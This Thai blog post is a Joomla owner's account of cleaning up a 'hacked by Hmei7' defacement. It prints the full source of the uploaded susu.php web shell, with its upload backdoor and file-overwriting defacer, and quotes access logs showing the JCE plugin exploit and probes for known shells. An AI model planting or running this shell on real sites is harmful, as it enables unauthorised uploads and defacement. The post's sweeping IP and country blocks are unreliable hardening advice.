เนื่องจากตัวผมเองเป็นคนที่ชอบใจงาน Joomla เนื่องจากใช้งานง่าย ติดตั้งไม่ลำบาก แต่มีข้อเสียที่มีคนชอบบ่นอยู่บ่อยๆก็คือ โดนเจาะระบบ หรือ hack ได้ง่าย โดยอยู่มาวันนึงผมก็โดนจนได้ที่ผมโดน คือ เปิดเข้า website มาก็มีข้อความสั้นๆคือ "hacked by Hmei7" ดังรูปตัวอย่าง
ผมตกใจมากก็เลยหาวิธีแก้ไข โดยการแก้ไขผมทำตามต่อไปนี้ครับ
โดยรูปส่วนใหญ่ผมขอใช้ของlinkข้างต้นเค้าละกัน แต่ขอเพิ่มเติมที่ผมแก้ไขเพิ่มเข้าไปด้วยนะครับ โดยวิธีการมีดังต่อไปนี้ครับ
ตำแหน่งที่โดยโจมตีหลักๆมีดังต่อไปนี้ครับ
/images/stories/susu.php
/images/x.txt
/tmp/x.txt
/.htaccess
/configuration.php
/index.php
/index.htm
/index.html
แต่ชื่อ file ต่างๆอาจถูกเปลี่ยนแปลงชื่อได้โดย hacker นะครับ
วิธีแก้ไขเบื้องต้นเพื่อให้ joomla ของท่านกลับมาใช้งานได้
1. ลบ susu.php(อาจมีการเปลี่ยนแปลงได้นะครับ) และ x.txt ออก
2. index.php, index.html, index.html และ .htaccess ถ้ามีการเปลี่ยนแปลงให้ restore ข้อมูลที่เคย backup ไว้หรือนำตัว install ของ joomla มาทับก็ได้
3. configuration.php ถ้าโดนเปลี่ยนแปลงข้อมูลให้ลบทิ้งไปก่อน
file แปลกปลอมอื่นที่พบ ให้ลบออกทันที เช่น
m.txt
000-aaz.gif
0day.php
c99.php
config.root
css.php
en-gt.php
index.old.php
lib.php
maroc.php
r57.php
rc.php
story.php
tar.tmp
toy.php
web1.php
wh.php
Wos.php
xxu.php
xxx.php
zzzzx.php
สำหรับ configuration.php ถือว่าเป็น file ที่สำคัญมากเเพราะมีการเก็บพวก config ต่างๆไว้ รวมทั้ง username และ password ที่สำคัญไว้ สำหรับใครที่ไม่ได้ backup ข้อมูลไว้เลย จะมีข้อมูลเบื้องต้นดังต่อไปนี้ครับ
<?php
class JConfig {
var $offline = '0';
var $editor = 'tinymce';
var $list_limit = '20';
var $helpurl = 'http://help.joomla.org';
var $debug = '0';
var $debug_lang = '0';
var $sef = '1';
var $sef_rewrite = '0';
var $sef_suffix = '0';
var $feed_limit = '10';
var $feed_email = 'author';
var $secret = 'xxxxxxxxxxxxxxxx';
var $gzip = '0';
var $error_reporting = '-1';
var $xmlrpc_server = '0';
var $log_path = '/var/www/logs';
var $tmp_path = '/var/www/tmp';
var $live_site = '';
var $force_ssl = '0';
var $offset = '-7';
var $caching = '0';
var $cachetime = '15';
var $cache_handler = 'file';
var $memcache_settings = array();
var $ftp_enable = '0';
var $ftp_host = '127.0.0.1';
var $ftp_port = '21';
var $ftp_user = '';
var $ftp_pass = '';
var $ftp_root = '';
var $dbtype = 'mysqli';
var $host = 'localhost';
var $user = 'dbuser';
var $db = 'dbname';
var $dbprefix = 'jos_';
var $mailer = 'smtp';
var $mailfrom = 'noreply@mailfrom.com';
var $fromname = 'Noreply Name';
var $sendmail = '/usr/sbin/sendmail';
var $smtpauth = '0';
var $smtpsecure = 'none';
var $smtpport = '25';
var $smtpuser = '';
var $smtppass = '';
var $smtphost = 'smtp.smtphost.com';
var $MetaAuthor = '1';
var $MetaTitle = '1';
var $lifetime = '15';
var $session_handler = 'database';
var $password = 'dbpassword';
var $sitename = 'Sitename';
var $MetaDesc = 'Joomla! - the dynamic portal engine and content management system';
var $MetaKeys = '';
var $offline_message = 'This site is down for maintenance. Please check back again soon.';
}
?>
ตัวแปลต่างๆที่สำคัญที่ต้องแก้ไขก่อนเพื่อให้ Joomla เรากับมาใช้งานได้ คือ
$secret – จะเป็นตัวเลข random ทั้งตัวอักษรเล็ก ใหญ่และตัวเลข
$log_path – path สำหรับ log.
$tmp_path – path สำหรับ tmp
$user – database username.
$db – database name.
$password – database password.
หลังจากตั้งค่าต่างๆพวกนี้แล้ว Joomla เราน่าจะสามารถกลับมาทำงานได้ครับ
***มีอีกเรื่องที่ต้องรีบทำการแก้ไขคือ ในส่วนของ permission ของ configuration.php ที่โดน hack จะตั้งเป็น 777 ให้เรารีบแก้ไขเป็น 644
เราลองมาดู susu.php กัน
GIF89;<br><br>
<?php
if ( isset($_GET['versi']) )
{
vers();
exit;
}
if ( isset($_GET['indonesia']) )
{
echo "silahkan masuk\n\n";
echo '<b>Indonesian people is here..<br><br>'.''.'<br></b>';
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload Success !!!</b><br><br>'; }
else { echo '<b>Upload Gagal !!!</b><br><br>'; }
}
exit;
}
if ( isset($_GET['yaiyalah']) )
{
$tmp=strrev('7iemH yb dekcah');
$nama='x.txt';
//----------
$piro=letaksekarang();
$piro=str_replace('http://','',$piro);
$arr=explode("/",$piro);
$nnn=count($arr);
$nnn=$nnn-1; //jml aktual fold
chdir('..');chdir('..');tulisi($nama,$tmp); //tulis now
$nnn=$nnn-2;
if ($nnn>0)
{
for ( $counter = 1; $counter <= $nnn; $counter += 1)
{
chdir('..');
tulisi($nama,$tmp); //menulis di ujung
}
}
//----------
echo $tmp;
echo '[jeneng]';
vers();
echo '[/jeneng]';
exit;
}
echo 'cari siapa ya?..';exit;
echo 'Hmei7';
function letaksekarang() {
$pageURL = 'http';
if ($_SERVER["HTTPS"] == "on") {$pageURL .= "s";}
$pageURL .= "://";
if ($_SERVER["SERVER_PORT"] != "80") {
$pageURL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
} else {
$pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
}
$pageURL=left($pageURL,strlen($pageURL)-strpos(strrev($pageURL),"/")-1);
$pageURL=str_replace("/".basename(__FILE__), "", $pageURL);
return $pageURL;
}
function left($string,$chars)
{
$vright = substr(strrev($string), strlen($string)-$chars,$chars);
return strrev($vright);
}
function vers()
{
eval(strrev(";)(emanu_php ohce"));
echo ' ===> '.getcwd();
echo ' ===> '.letaksekarang();
}
function tulisi($nama,$tmp)
{
if (is_writable(getcwd()))
{
$fff = fopen($nama, 'w');
fwrite($fff, $tmp);
fclose($fff);
}else
{
>>> $fff = fopen('configuration.php', 'w');
fwrite($fff, $tmp.'<?php exit;?>');
fclose($fff);
>>> $fff = fopen('index.php', 'w');
fwrite($fff, $tmp.'<?php exit;?>');
fclose($fff);
>>> $fff = fopen('index.htm', 'w');
fwrite($fff, $tmp.'<?php exit;?>');
fclose($fff);
>>> $fff = fopen('index.html', 'w');
fwrite($fff, $tmp.'<?php exit;?>');
fclose($fff);
}
>>> $fff = fopen('./tmp/'.$nama, 'w');
fwrite($fff, $tmp);
fclose($fff);
>>> $fff = fopen('./images/'.$nama, 'w');
fwrite($fff, $tmp);
fclose($fff);
}
?>
จะได้ว่ามีส่วนไหนบ้างที่มีการเข้าไป hack ผมจะทำเครื่องหมาย">>>"ไว้ให้นะครับ เพราะอาจมีการแก้ไขโดย hacker หรือ อาจจะไม่เหมือนกันนะครับ
ต่อมาเรามาดู log เพิ่มเติมกันหน่อยนะครับ มีดังนี้ครับ
ส่วนแรก
114.79.1.91 - - [03/Jan/2013:01:35:19 -0700] "GET /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1" 200 23168 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)"
114.79.1.91 - - [03/Jan/2013:01:35:22 -0700] "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743 HTTP/1.0" 200 69 "-" "BOT/0.1 (indonesian defacer)"
114.79.1.91 - - [03/Jan/2013:01:35:23 -0700] "GET /images/stories/susu.gif HTTP/1.1" 200 2722 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)"
114.79.1.91 - - [03/Jan/2013:01:35:24 -0700] "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.0" 200 36 "-" "BOT/0.1 (indonesian defacer)"
114.79.1.91 - - [03/Jan/2013:01:35:25 -0700] "GET /images/stories/susu.php?yaiyalah HTTP/1.1" 200 204 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)"
114.79.1.91 - - [03/Jan/2013:01:35:25 -0700] "GET /x.txt HTTP/1.1" 404 284 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)"
114.79.1.91 - - [03/Jan/2013:01:35:26 -0700] "GET / HTTP/1.1" 200 15 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)"
อีกส่วนนึง
95.0.224.148 - - [05/Jan/2013:02:08:32 -0700] "GET /images/stories/susu.php?indonesia HTTP/1.1" 404 302 "-" "Mozilla/5.0"
95.0.224.148 - - [05/Jan/2013:06:52:03 -0700] "GET /images/stories/xxx.php HTTP/1.1" 404 301 "-" "Mozilla/5.0"
95.0.224.148 - - [05/Jan/2013:06:52:04 -0700] "GET /images/stories/xxu.php HTTP/1.1" 404 301 "-" "Mozilla/5.0"
95.0.224.148 - - [05/Jan/2013:06:52:05 -0700] "GET /images/stories/0day.php HTTP/1.1" 404 302 "-" "Mozilla/5.0"
95.0.224.148 - - [05/Jan/2013:16:42:59 -0700] "GET /images/stories/story.php?p1=phpinfo(); HTTP/1.1" 404 303 "-" "Mozilla/5.0"
95.0.224.148 - - [05/Jan/2013:16:42:59 -0700] "GET /images/stories/0day.php HTTP/1.1" 404 302 "-" "Mozilla/5.0"
95.0.224.148 - - [06/Jan/2013:01:01:06 -0700] "GET /images/stories/maroc.php?oujda-maroc=1 HTTP/1.1" 404 303 "-" "Mozilla/5.0"
95.0.224.148 - - [06/Jan/2013:01:01:07 -0700] "GET /images/stories/web1.php HTTP/1.1" 404 302 "-" "Mozilla/5.0"
95.0.224.148 - - [06/Jan/2013:01:01:07 -0700] "GET /images/stories/Wos.php HTTP/1.1" 404 301 "-" "Mozilla/5.0"
95.0.224.148 - - [06/Jan/2013:01:01:08 -0700] "GET /images/stories/c99.php HTTP/1.1" 404 301 "-" "Mozilla/5.0"
95.0.224.148 - - [06/Jan/2013:01:01:09 -0700] "GET /images/stories/r57.php HTTP/1.1" 404 301 "-" "Mozilla/5.0"
ในส่วนแรกเราจะเห็นได้เลยว่ามันเข้ามาทาง JCE plugin
ในส่วนต่อมาจะเป็นการเรียก susu.php
วิธีการป้องกัน
1. update plugin JCE ให้เป็น version ล่าสุด
2. update extension อื่นๆให้เป็น version ล่าสุด
3. configuration.php ให้ตั้ง permission เป็น 644 file อื่นๆ อาจจะตั้งเป็น 755
4. block ip 114.80.0.0 และ 95.0.0.0
โดนให้เพิ่มใน .htaccess ดังต่อไปนี้
Deny from 114.79
Deny from 95
เพื่อความแน่ใจเนื่องจากต้นทาง hack น่าจะมาจาก indonesia เราเลย block ประเทศมันไปเลยจะดีกว่าโดย
1. เข้าไปที่
2. เลือกประเทศที่เราต้องการจะ block ในที่นี้ คือ indonesia
3. จากนั้นเลือก .htaccess Deny
4. จะได้ code มาเราก็เอาไปใส่ใน .htaccess
เท่านี้ก็สามารถป้องกันเบื้องต้นได้พอสมควรละครับ
ระหว่างนี้ก็คอยเฝ้าระวังคอยดูว่าโดนเจาะเข้ามาอีกไหมนะครับผม
บทความนี้คงมีประโยชน์ไม่มากก็น้อยนะครับ
"ลงมือทำ"
by consensus
โพสอื่นๆที่น่าสนใจ
- ขอแชร์ 1 ในเทคนิคการขายของ amazon
http://www.thaiseoboard.com/index.php/topic,256405.0.html -วิธีป้องกัน Spam webboard หรือ comment ต่างๆ
http://www.thaiseoboard.com/index.php/topic,287058.0.html - มารู้จักหลุมทรายGoogle (google sandbox) และวิธีแก้ไขจากประสบการณ์จริงกันครับ
http://www.thaiseoboard.com/index.php/topic,257350.0.html - การใช้งาน SEO doctor ครับ สำหรับการตรวจ on page ครับ
http://www.thaiseoboard.com/index.php/topic,256566.0.html